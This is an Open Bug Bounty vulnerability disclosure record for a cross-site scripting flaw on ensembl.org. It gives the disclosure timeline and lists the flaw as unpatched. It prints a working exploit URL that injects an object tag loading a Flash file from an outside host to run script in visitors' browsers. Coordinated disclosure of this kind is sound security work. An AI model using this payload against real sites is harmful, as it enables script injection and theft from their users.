ensembl.org XSS vulnerability

2017-06-27T17:00:00
ID OBB:253331
Type openbugbounty
Reporter amlnspqr
Modified 2017-07-26T09:17:00

Description

Vulnerable URL:
http://www.ensembl.org/Multi/Help/EmailSent?db=%22%3E%3C/fieldset%3E%3C/form%3E%3Cobject%20allowscriptaccess=%22always%22%20data=%22http://spqr.zz.mu/xss.swf%22%3E%3C/object%3E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 26.08.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 31618
VIP website status:| Yes
Check ensembl.org SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 27 June, 2017 17:00 GMT
Vulnerability existence verified and confirmed| 28 June, 2017 08:44 GMT
Generic security notifications sent to website owner| 28 June, 2017 08:44 GMT
Notification sent to subscribers (without technical details)| 28 June, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 26 July, 2017 09:17 GMT